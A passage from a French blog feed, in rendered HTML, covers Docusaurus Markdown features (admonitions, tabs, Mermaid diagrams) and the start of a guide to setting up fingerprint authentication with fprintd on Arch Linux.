0 12 16"><path fill-rule="evenodd" d="M5.05.31c.81 2.17.41 3.38-.52 4.31C3.55 5.67 1.98 6.45.9 7.98c-1.45 2.05-1.7 6.53 3.53 7.7-2.2-1.16-2.67-4.52-.3-6.61-.61 2.03.53 3.33 1.94 2.86 1.39-.47 2.3.53 2.27 1.67-.02.78-.31 1.44-1.13 1.81 3.42-.59 4.78-3.42 4.78-5.56 0-2.84-2.53-3.22-1.25-5.61-1.52.13-2.03 1.13-1.89 2.75.09 1.08-1.02 1.8-1.86 1.33-.67-.41-.66-1.19-.06-1.78C8.18 5.31 8.68 2.45 5.05.32L5.03.3l.02.01z"></path></svg></span>danger</div><div class="admonitionContent_BuS1"><p>Ceci est un danger</p></div></div></div><div role="tabpanel" class="tabItem_Ymn6" hidden=""><div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">:::tip[Remarque]</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">cette aide possède un titre défini à la main</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">:::</span><br></div></code></pre></div></div><div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Remarque</div><div class="admonitionContent_BuS1"><p>cette aide possède un titre défini à la main</p></div></div></div></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="tabs">Tabs<a href="https://docs.bastienbonora.fr/blog/Utiliser-markdown-docusaurus#tabs" class="hash-link" aria-label="Lien direct vers Tabs" title="Lien direct vers Tabs" translate="no">​</a></h3>
<p>Les tables, me permettent d'afficher différents éléments mais de manière horizontale comme je viens de le faire avec les admonitions. Pour en ajouter, il faut dans un premier temps fonctionner avec un fichier <code>.mdx</code>.</p>
<p>Pour cela, il faut après avoir défini les premiers éléments du blog ajouter les lignes suivantes :</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword module" style="color:#00009f">import</span><span class="token plain"> </span><span class="token imports maybe-class-name">Tabs</span><span class="token plain"> </span><span class="token keyword module" style="color:#00009f">from</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'@theme/Tabs'</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword module" style="color:#00009f">import</span><span class="token plain"> </span><span class="token imports maybe-class-name">TabItem</span><span class="token plain"> </span><span class="token keyword module" style="color:#00009f">from</span><span class="token plain"> </span><span class="token string" style="color:#e3116c">'@theme/TabItem'</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Une fois que c'est fait, on peut définir les tables, les titres et le contenu :</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">Tabs</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">value</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">apple</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">label</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">Apple</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">default</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">    This is an apple 🍎</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">value</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">orange</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">label</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">Orange</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">    This is an orange 🍊</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">value</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">banana</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">label</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">Banana</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">    This is a banana 🍌</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text"></span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">Tabs</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><br></div></code></pre></div></div>
<div class="theme-tabs-container tabs-container tabList__CuJ"><ul role="tablist" aria-orientation="horizontal" class="tabs"><li role="tab" tabindex="0" aria-selected="true" class="tabs__item tabItem_LNqP tabs__item--active">Apple</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">Orange</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">Banana</li></ul><div class="margin-top--md"><div role="tabpanel" class="tabItem_Ymn6"><p>This is an apple 🍎</p></div><div role="tabpanel" class="tabItem_Ymn6" hidden=""><p>This is an orange 🍊</p></div><div role="tabpanel" class="tabItem_Ymn6" hidden=""><p>This is a banana 🍌</p></div></div></div>
<p>Mieux encore, dans le cadre d'une documentation spécifique, on peut ajouter chaque table dans un groupe permettant de tout le temps rester sur le même sujet :</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">Tabs</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">groupId</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">operating-systems</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">value</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">win</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">label</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">Windows</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text">Use Ctrl + C to copy.</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">value</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">mac</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">label</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">macOS</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text">Use Command + C to copy.</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text"></span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">Tabs</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">Tabs</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">groupId</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">operating-systems</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">value</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">win</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">label</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">Windows</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text">Use Ctrl + V to paste.</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text">  </span><span class="token tag punctuation" style="color:#393A34">&lt;</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">value</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">mac</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag" style="color:#00009f"> </span><span class="token tag attr-name" style="color:#00a4db">label</span><span class="token tag attr-value punctuation attr-equals" style="color:#393A34">=</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag attr-value" style="color:#e3116c">macOS</span><span class="token tag attr-value punctuation" style="color:#393A34">"</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text">Use Command + V to paste.</span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">TabItem</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><span class="token plain-text"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain-text"></span><span class="token tag punctuation" style="color:#393A34">&lt;/</span><span class="token tag class-name" style="color:#00009f">Tabs</span><span class="token tag punctuation" style="color:#393A34">&gt;</span><br></div></code></pre></div></div>
<div class="theme-tabs-container tabs-container tabList__CuJ"><ul role="tablist" aria-orientation="horizontal" class="tabs"><li role="tab" tabindex="0" aria-selected="true" class="tabs__item tabItem_LNqP tabs__item--active">Windows</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">macOS</li></ul><div class="margin-top--md"><div role="tabpanel" class="tabItem_Ymn6">Use Ctrl + C to copy.</div><div role="tabpanel" class="tabItem_Ymn6" hidden="">Use Command + C to copy.</div></div></div>
<div class="theme-tabs-container tabs-container tabList__CuJ"><ul role="tablist" aria-orientation="horizontal" class="tabs"><li role="tab" tabindex="0" aria-selected="true" class="tabs__item tabItem_LNqP tabs__item--active">Windows</li><li role="tab" tabindex="-1" aria-selected="false" class="tabs__item tabItem_LNqP">macOS</li></ul><div class="margin-top--md"><div role="tabpanel" class="tabItem_Ymn6">Use Ctrl + V to paste.</div><div role="tabpanel" class="tabItem_Ymn6" hidden="">Use Command + V to paste.</div></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="intégration-de-mermaid">Intégration de mermaid<a href="https://docs.bastienbonora.fr/blog/Utiliser-markdown-docusaurus#int%C3%A9gration-de-mermaid" class="hash-link" aria-label="Lien direct vers Intégration de mermaid" title="Lien direct vers Intégration de mermaid" translate="no">​</a></h3>
<p>Mermaid est un projet Open Source : <a href="https://mermaid.js.org/" target="_blank" rel="noopener noreferrer" class="">Mermaid | Diagramming and charting tool</a>. Cet outil nous permet en markdown de créer des diagrammes sous différentes formes. C'est un élément très utile qui nous permet sans trop d'effort de réaliser des graphiques cohérents.</p>
<p>Avec docusaurus, on peut ajouter le support de markdown en suivant les éléments suivants :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token comment" style="color:#999988;font-style:italic"># Effectuer cette commande dans l'emplacement où se trouve votre projet</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">npm</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">install</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">--save</span><span class="token plain"> @docusaurus/theme-mermaid</span><br></div></code></pre></div></div>
<p>après cela, éditez le fichier <code>docusaurus.config.js</code> :</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">docusaurus.config.js</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword module" style="color:#00009f">export</span><span class="token plain"> </span><span class="token keyword module" style="color:#00009f">default</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token literal-property property" style="color:#36acaa">markdown</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token literal-property property" style="color:#36acaa">mermaid</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token boolean" style="color:#36acaa">true</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">  </span><span class="token literal-property property" style="color:#36acaa">themes</span><span class="token operator" style="color:#393A34">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">[</span><span class="token string" style="color:#e3116c">'@docusaurus/theme-mermaid'</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Une fois fait, chacun de vos bloc de code défini comme étant <code>mermaid</code> vous permettront de faire des schémas :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de diagramme mermaid</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">mermaid</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">graph TD;</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    A--&gt;B;</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    A--&gt;C;</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    B--&gt;D;</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    C--&gt;D;</span><br></div></code></pre></div></div>
<!-- -->
<hr>
<p>Bon, je pense avoir fait le tour de ce que je trouve très intéressant avec Docusaurus. Honnêtement, je n'ai presque pas modifié les éléments de l'outil mis à part quelques descriptions ci et là.</p>
<p>L'outil est très puissant et honnêtement, on peut faire des choses vraiment, vraiment balaises. Je vous mets quelques exemples :</p>
<ul>
<li class=""><a href="https://docs.temporal.io/" target="_blank" rel="noopener noreferrer" class="">temporal.io</a></li>
<li class=""><a href="https://testing-library.com/" target="_blank" rel="noopener noreferrer" class="">Testing Library | Testing Library</a></li>
</ul>
<p>En gros, j'ai encore du taff à faire pour que j'ai un joli blog et un site de documentation beaucoup plus joli. Ça reste dans ma to-do list, je montrerais évidemment les évolutions.</p>
<p>N'hésitez pas à aller voir les différents sites :</p>
<ul>
<li class=""><a href="https://docusaurus.io/" target="_blank" rel="noopener noreferrer" class="">Docusaurus</a></li>
<li class=""><a href="https://mermaid.js.org/" target="_blank" rel="noopener noreferrer" class="">Mermaid</a></li>
<li class=""><a href="https://learninglab.gitlabpages.inria.fr/mooc-rr/mooc-rr-ressources/module1/ressources/introduction_to_markdown_fr.html" target="_blank" rel="noopener noreferrer" class="">Introduction à Markdown</a></li>
</ul>]]></content>
        <author>
            <name>Bastien Bonora</name>
            <uri>https://bastienbonora.fr</uri>
        </author>
        <category label="informatique" term="informatique"/>
        <category label="open-source" term="open-source"/>
    </entry>
    <entry>
        <title type="html"><![CDATA[Configurer l'authentification biométrique sous Linux]]></title>
        <id>https://docs.bastienbonora.fr/blog/Configurer-authentification-biométrique</id>
        <link href="https://docs.bastienbonora.fr/blog/Configurer-authentification-biométrique"/>
        <updated>2025-06-25T00:00:00.000Z</updated>
        <summary type="html"><![CDATA[Envie d'utiliser votre doigt plutôt qu'un mot de passe à ralonge. Eh bien vous êtes au bon endroit]]></summary>
        <content type="html"><![CDATA[<p>Envie d'utiliser votre doigt plutôt qu'un mot de passe à ralonge. Eh bien vous êtes au bon endroit</p>
<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>attention</div><div class="admonitionContent_BuS1"><p>Je préviens, j'ai procédé à cette installation sous Arch Linux, il existe également d'autres procédures en lignes qui permettent l'installation d'authentification biométrique</p></div></div>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="installation-de-lauthentification-biométrique">Installation de l'authentification biométrique<a href="https://docs.bastienbonora.fr/blog/Configurer-authentification-biom%C3%A9trique#installation-de-lauthentification-biom%C3%A9trique" class="hash-link" aria-label="Lien direct vers Installation de l'authentification biométrique" title="Lien direct vers Installation de l'authentification biométrique" translate="no">​</a></h2>
<p>La première question que l'on doit se poser c'est : est-ce que mon périphérique est détecté et surtout est-ce que je peux l'utiliser ? Pour ça, on va utiliser la commande <code>lsusb</code>.</p>
<div class="theme-admonition theme-admonition-note admonition_xJq3 alert alert--secondary"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 14 16"><path fill-rule="evenodd" d="M6.3 5.69a.942.942 0 0 1-.28-.7c0-.28.09-.52.28-.7.19-.18.42-.28.7-.28.28 0 .52.09.7.28.18.19.28.42.28.7 0 .28-.09.52-.28.7a1 1 0 0 1-.7.3c-.28 0-.52-.11-.7-.3zM8 7.99c-.02-.25-.11-.48-.31-.69-.2-.19-.42-.3-.69-.31H6c-.27.02-.48.13-.69.31-.2.2-.3.44-.31.69h1v3c.02.27.11.5.31.69.2.2.42.31.69.31h1c.27 0 .48-.11.69-.31.2-.19.3-.42.31-.69H8V7.98v.01zM7 2.3c-3.14 0-5.7 2.54-5.7 5.68 0 3.14 2.56 5.7 5.7 5.7s5.7-2.55 5.7-5.7c0-3.15-2.56-5.69-5.7-5.69v.01zM7 .98c3.86 0 7 3.14 7 7s-3.14 7-7 7-7-3.12-7-7 3.14-7 7-7z"></path></svg></span>remarque</div><div class="admonitionContent_BuS1"><p>si jamais, vous pouvez installer cette commande avec <code>sudo pacman -S usbutils</code></p></div></div>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">lsusb </span><span class="token operator" style="color:#393A34">|</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">grep</span><span class="token plain"> </span><span class="token parameter variable" style="color:#36acaa">-i</span><span class="token plain"> light</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Bus 003 Device 002: ID 1c7a:05a1 LighTuning Technology Inc. ETU905A80-E</span><br></div></code></pre></div></div>
<blockquote>
<p>à titre informatif, j'utilise un Samsung book 3 pro 360</p>
</blockquote>
<p>On peut alors vérifier si notre périphérique est pris en charge par libfprint  sur ce site : <a href="https://fprint.freedesktop.org/supported-devices.html" target="_blank" rel="noopener noreferrer" class="">libfprint — Supported Devices</a></p>
<p>Et bingo pour moi, en recherchant mon id <code>1c7a:05a1</code>, il est dans la liste.</p>
<p>Donc on va procéder à l'installation :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">yay </span><span class="token parameter variable" style="color:#36acaa">-S</span><span class="token plain"> libfprint-tod-git fprintd-tod</span><br></div></code></pre></div></div>
<p>Puis on installe <code>fprintd</code> qui est l'outil principal qui nous intéresse :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> pacman </span><span class="token parameter variable" style="color:#36acaa">-S</span><span class="token plain"> fprintd</span><br></div></code></pre></div></div>
<p>Une fois que tout est installé, on redémarre le service <code>fprintd</code> :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">sudo</span><span class="token plain"> systemctl restart fprintd.service</span><br></div></code></pre></div></div>
<p>Vous pouvez vérifier que tout est installé en utilisant la commande <code>fprintd-verify</code> et avoir un résultat similaire à :</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Using device /net/reactivated/Fprint/Device/0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">ListEnrolledFingers failed: GDBus.Error:net.reactivated.Fprint.Error.NoEnrolledPrints: Failed to discover prints</span><br></div></code></pre></div></div>
<p>Ici l'erreur signifie uniquement que l'on a pas encore enregistré d'empreinte. Donc notre périphérique est parfaitement fonctionnel !</p>
